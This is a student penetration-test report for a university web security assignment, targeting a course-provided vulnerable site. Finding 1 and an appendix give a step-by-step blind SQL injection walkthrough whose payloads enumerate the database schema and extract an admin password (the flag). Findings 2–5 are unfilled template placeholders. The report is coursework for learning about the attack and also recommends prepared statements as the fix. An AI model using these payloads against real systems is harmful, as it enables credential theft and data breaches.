We Test Pens Incorporated

COMP90074 - Web Security Assignment 2

Xiande Wen

905003

**PENETRATION TEST REPORT FOR**

**PleaseHold Pty. Ltd. - WEB APPLICATION**

**Report delivered: 06/05/2021**

# Executive Summary

We Test Pans Incorporated has carried out an exhaustive penetration test of the web application <http://assignment-hermes.unimelb.life> at the request of PleaseHold Pty. Ltd.

At the conclusion of the test, five vulnerabilities (and their associated risks) have been uncovered:

1. SQL injection;
2. Cross-site scripting;
3. Server-side request forgery;
4. Sending sensitive information over HTTP;
5. SQL wildcard attack;

These risks range in severity from high to low, with the most concern falling on the SQL injection vulnerability in the finding user functionality (Finding 1). This vulnerability allows a user to brute-force all other users’ login credentials, resulting in the ability to perform unauthorised actions and leak personally identifiable information.

Another high-risk vulnerability is the stored cross-site scripting in the web application’s anonymous question functionality (Finding 2). This vulnerability allows users to inject a piece of code to the database, which will perform unauthorised actions when triggered. As a result of such, users will be able to leak out the server file content which can be feeding to another high-risk vulnerability – the server-side request forgery can be made through the website validation API (Finding 3) based on the information gained from cross-site scripting to access sensitive background checks information.

Next, the use of HTTP protocol presents medium risk to the web application (Finding 4). The last vulnerability, the SQL wildcard attack through the trainings API (Finding 5) can list out all the trainings in the store. In this case, it is considered to be low-risk since no sensitive information involved. Proper mitigations are still recommended if it is not an intended usage

Based on these findings, the website is not secure enough for production. The high-risk vulnerabilities can cause severe data breach and serious damage to the business reputation and they have to be mitigated before release.

The low-risk vulnerability, SQL wildcard attack, can be fixed along with the SQL injection. The medium-risk vulnerability, depending on the deadline and budgetary constraints, can be mitigated optionally with proper warnings displayed.

Table of Contents

[Executive Summary 2](#_Toc71299205)

[Summary of Findings 5](#_Toc71299206)

[Detailed Findings 6](#_Toc71299207)

[Finding 1 - SQL injection vulnerability present in finding user functionality 6](#_Toc71299208)

[**Description** 6](#_Toc71299209)

[**Proof of Concept** 6](#_Toc71299210)

[**Impact** 6](#_Toc71299211)

[**Likelihood** 6](#_Toc71299212)

[**Risk Rating** 6](#_Toc71299213)

[**References** 6](#_Toc71299214)

[**Recommendation** 6](#_Toc71299215)

[Finding 2 - Stored crossing-site scripting vulnerability present in anonymous question functionality 7](#_Toc71299216)

[**Description** 7](#_Toc71299217)

[**Proof of Concept** 7](#_Toc71299218)

[**Impact** 7](#_Toc71299219)

[**Likelihood** 7](#_Toc71299220)

[**Risk Rating** 7](#_Toc71299221)

[**References** 7](#_Toc71299222)

[**Recommendation** 7](#_Toc71299223)

[Finding 3 - Server-side request forgery vulnerability present in the website validation functionality 8](#_Toc71299224)

[**Description** 8](#_Toc71299225)

[**Proof of Concept** 8](#_Toc71299226)

[**Impact** 8](#_Toc71299227)

[**Likelihood** 8](#_Toc71299228)

[**Risk Rating** 8](#_Toc71299229)

[**References** 8](#_Toc71299230)

[**Recommendation** 8](#_Toc71299231)

[Finding 4 - Sensitive information transported in plain text via HTTP 9](#_Toc71299232)

[**Description** 9](#_Toc71299233)

[**Proof of Concept** 9](#_Toc71299234)

[**Impact** 9](#_Toc71299235)

[**Likelihood** 9](#_Toc71299236)

[**Risk Rating** 9](#_Toc71299237)

[**References** 9](#_Toc71299238)

[**Recommendation** 9](#_Toc71299239)

[Finding 5 - SQL wildcard attack vulnerability present in the API for trainings 10](#_Toc71299240)

[**Description** 10](#_Toc71299241)

[**Proof of Concept** 10](#_Toc71299242)

[**Impact** 10](#_Toc71299243)

[**Likelihood** 10](#_Toc71299244)

[**Risk Rating** 10](#_Toc71299245)

[**References** 10](#_Toc71299246)

[**Recommendation** 10](#_Toc71299247)

[Appendix I - Risk Matrix 11](#_Toc71299248)

[Appendix 2 - Additional Information 12](#_Toc71299249)

# Summary of Findings

A brief summary of all findings appears in the table below, sorted by Risk rating.

|  |  |  |
| --- | --- | --- |
| **Risk** | **Reference** | **Vulnerability** |
| High | Finding 1 | SQL injection vulnerability present in finding user functionality |
| High | Finding 2 | Stored crossing-site scripting vulnerability present in anonymous question functionality |
| High | Finding 3 | Server-side request forgery vulnerability present in the website validation functionality |
| Medium | Finding 4 | Sensitive information transported in plain text via HTTP |
| Low | Finding 5 | SQL wildcard attack vulnerability present in the API for trainings |

# Detailed Findings

This section provides detailed descriptions of all the vulnerabilities identified.

## Finding 1 - SQL injection vulnerability present in finding user functionality

|  |  |
| --- | --- |
| **Description** | A data breach may occur due to a **SQL injection vulnerability** in the web application’s **finding user** functionality, which leads to full account takeover, resulting in potential loss of personally identifiable information (PII) and unauthorised actions.  An attacker can inject malicious SQL statements via the finding user API endpoint and identify whether a statement can fetch any data back or not from its response. In this way, although the attacker will not be able to read out the data directly from one response, same information can be constructed by brute-forcing each character through repeated requests. This will result in severe data breach as a malicious user is able to read the whole database within no time.  The exploitation requires the attacker to login first so if only staff have the access to the portal, the likelihood it happens will significantly decreases. |
| **Proof of Concept** | This vulnerability can be exploited when an authenticated user interacts with the finding user API endpoint (<http://assignment-hermes.unimelb.life/find-user.php?username=>) with appending some formatted SQL query to it. The API will return “true” when the query fetches something back. By taking advantage of such, an attacker can construct anything they want from the database by brute-forcing each character one by one. For a detailed walkthrough, see [Appendix 2, Section 1](#_Section_1_–). |
| **Impact** | **Major:** An attacker could obtain login credentials for all users and precede to authenticate into each one, stealing PII, and performing actions on their behalf (such as updating their profile). However, users are restricted to only querying the database, and not modifying or deleting contents. This means, at most, all an attacker could do would be to steal PII and “request” changes to a victim user’s profile, as for this attack to be successful, an attacker must already hold one set of credentials. |
| **Likelihood** | **Possible:** Inputs in web applications are the most likely to be exploited by attackers while exploiting this vulnerability requires the attacker to have a set of login credentials. Therefore, the overall likelihood is said to be possible. |
| **Risk Rating** | **High:** Referring to the risk matrix in [Appendix 1](#_Appendix_I_-), possible likelihood and major impact suggest a high risk. A data breach to one of the business systems will be a great damage to the company’s reputation, especially for one that services banks and telecommunication companies who always put security at the first place. |
| **References** | [1] Assignment 1 sample report  [2] Lecture 5 - SQLi slides |
| **Recommendation** | 1. Use prepared statements instead of string concatenation [2]. For example:   $stmt = $con->prepare("SELECT \* FROM Users WHERE username = ?");  $stmt->bind\_param("s", $\_GET["username"]);  $stmt->execute();  $stmt->close();   1. Only grant public users the access to the current database. This will prevent the attacker to access database metadata and make it harder to get the schema. |

## Finding 2 - Stored crossing-site scripting vulnerability present in anonymous question functionality

|  |  |
| --- | --- |
| **Description** |  |
| **Proof of Concept** | How can we reproduce the exploit for this vulnerability? |
| **Impact** | **Negligible/Minor/Moderate/Major/Catastrophic: An attacker could do xyz with this vulnerability** |
| **Likelihood** | **Rare/Unlikely/Possible/Likely/Almost Certain: The possibility of the vulnerability being exploited** |
| **Risk Rating** | **Informational / Low / Medium / High / Extreme**  This is the reasoning behind my rating |
| **References** | [1] <https://www.miguelxpn.com/security/2020/03/08/Server-side-XSS.html> |
| **Recommendation** | The fix goes here |

## Finding 3 - Server-side request forgery vulnerability present in the website validation functionality

|  |  |
| --- | --- |
| **Description** | Detailed description of the vulnerability, including a risk statement. |
| **Proof of Concept** | How can we reproduce the exploit for this vulnerability? |
| **Impact** | **Negligible/Minor/Moderate/Major/Catastrophic: An attacker could do xyz with this vulnerability** |
| **Likelihood** | **Rare/Unlikely/Possible/Likely/Almost Certain: The possibility of the vulnerability being exploited** |
| **Risk Rating** | **Informational / Low / Medium / High / Extreme**  This is the reasoning behind my rating |
| **References** | **http://example.com** |
| **Recommendation** | The fix goes here |

## Finding 4 - Sensitive information transported in plain text via HTTP

|  |  |
| --- | --- |
| **Description** | Detailed description of the vulnerability, including a risk statement. |
| **Proof of Concept** | How can we reproduce the exploit for this vulnerability? |
| **Impact** | **Negligible/Minor/Moderate/Major/Catastrophic: An attacker could do xyz with this vulnerability** |
| **Likelihood** | **Rare/Unlikely/Possible/Likely/Almost Certain: The possibility of the vulnerability being exploited** |
| **Risk Rating** | **Informational / Low / Medium / High / Extreme**  This is the reasoning behind my rating |
| **References** | **http://example.com** |
| **Recommendation** | The fix goes here |

## Finding 5 - SQL wildcard attack vulnerability present in the API for trainings

|  |  |
| --- | --- |
| **Description** | Detailed description of the vulnerability, including a risk statement. |
| **Proof of Concept** | How can we reproduce the exploit for this vulnerability? |
| **Impact** | **Negligible/Minor/Moderate/Major/Catastrophic: An attacker could do xyz with this vulnerability** |
| **Likelihood** | **Rare/Unlikely/Possible/Likely/Almost Certain: The possibility of the vulnerability being exploited** |
| **Risk Rating** | **Informational / Low / Medium / High / Extreme**  This is the reasoning behind my rating |
| **References** | **http://example.com** |
| **Recommendation** | The fix goes here |

# Appendix I - Risk Matrix

All risks assessed in this report are in line with the ISO31000 Risk Matrix detailed below:



# Appendix 2 - Additional Information

This section is for any additional information you feel is relevant. This is where all your code and large proof of concepts should be! Make sure the code is properly formatted (and keep it in another file if needed, but refer to it properly)

## Section 1 – SQL injection exploitation walkthrough

The following steps (only critical steps are shown here) provide a proof of concept for an attack that exploits this vulnerability and retrieves sensitive information (in the form of the flag). Each payload is placed at the end of the finding user API endpoint (<http://assignment-hermes.unimelb.life/find-user.php?username=>).

|  |  |  |
| --- | --- | --- |
| **Step** | **Payload** | **Explanation** |
| 1 | 1. ' --+ 2. ' union select NULL,NULL,NULL --+ | From the responses of a) and b) we know that here is an SQL injection point and three columns are selected in the original statement. |
| 2 | 1. ' union select NULL,NULL,NULL having substring(database(),1,1)=BINARY 'S' limit 1 --+ 2. ' union select NULL,NULL,NULL having substring(database(),1,2)=BINARY 'Se' limit 1 --+ | In a), we use having clause to construct the statement such that the response will be “true” only if we have guessed the first character of database() correctly.  In b), we increment the length of substring by one and try to guess the second character.  We repeat step b) till the length can no longer increase, e.g., no character in the current candidate charset satisfies the next guessing character.  It might be the case that we have found the whole string, or that we have ran out the candidate charset.  Then we have two options:   1. We will use common sense here to tell whether we have got all the characters of what we are looking for, or there is actually a next character but it is missing in the current candidate charset, which should be a very rare case but if it happens, we will need to expand our charset. 2. We assume that we have got the correct guess and continue our exploitation. If we cannot proceed further, this should be one of places we suspect.   In this case, we happen to get all the characters covered in our first candidate charset (See charset variable in sqli.py) and find out the value of database(), the current database name, to be “Secure”. |
| 3 | 1. ' union select NULL,NULL, table\_name from information\_schema.columns where table\_schema='Secure' having substr(table\_name,1,7)=BINARY 'testing' limit 1 --+ 2. ' union select NULL,NULL, table\_name from information\_schema.columns where table\_schema='Secure' having substr(table\_name,1,9)=BINARY 'Trainings' and table\_name<>'testing' limit 1 --+ 3. ' union select NULL,NULL, table\_name from information\_schema.columns where table\_schema='Secure' having substr(table\_name,1,5)=BINARY 'Users' and table\_name<>'testing' and table\_name<>'Trainings' limit 1 --+ | In a), we do the same thing as step 2 to get the first table name of “Secure” from information\_schema.  In b), we try to find the second table name of “Secure”. To do that, we can simply add a condition to only match table name which is not “testing”. This gives us the second table name “Trainings”.  Next in c), we can get the third table name “Users” by guessing table name which is not either “testing” or “Trainings”.  We can repeat the above steps to get the fourth table name and we found that no character in the candidate charset satisfies the first character of the fourth table so we know there are three tables in “Secure” in total.  It might be the case that we ran out the candidate characters as mentioned in step 2 and we chose to continue with just those three tables, which turned out to be alright. |
| 4 | 1. ' union select NULL,NULL, column\_name from information\_schema.columns where table\_name='Users' having substr(column\_name,1,3)=BINARY 'api' limit 1 --+ 2. ' union select NULL,NULL, column\_name from information\_schema.columns where table\_name='Users' having substr(column\_name,1,2)=BINARY 'id' and column\_name<>'api' limit 1 --+ | In this step, all the column names in the “Users” table are found out by doing similar things to what we did in step 3.  Seven columns are found in “Users” table: "api", "id", "password", "probation", "**roles**", "username", "website".  Next, we want to find out what values are in column “roles” as we want to see if there are any admin users. |
| 5. | 1. ' union select NULL,NULL, roles from Users having substr(roles,1,4)=BINARY 'user' limit 1 --+ 2. ' union select NULL,NULL, roles from Users having substr(roles,1,8)=BINARY 'HR admin' and roles<>'user' limit 1 --+ | The step leaks all the values under the “roles” column: "user", "HR admin".  Next, we want to find out who are “HR admin”. |
| 6 | ' union select NULL,roles,username from Users having substr(username,1,10)=BINARY 'prodigysml' and roles=BINARY 'HR admin' limit 1 --+ | Leaks out the first admin username. |
| 7 | ' union select NULL,username,password from Users having substr(password,1,32)=BINARY 'FLAG{Wear\_some\_glasses\_minions!}' and username=BINARY 'prodigysml' limit 1 --+ | Leaks out the password of “prodigysml” which turns out to be the flag: “FLAG{Wear\_some\_glasses\_minions!}” |

The above steps (plus more exploration steps) are detailed and automated in sqli.py. By running it directly using `py sqli.py` will brute-force out the flag. Uncommenting code for other steps and rerunning the file will produce the corresponding outputs.

[Return to the main report](#_Proof_of_Concept)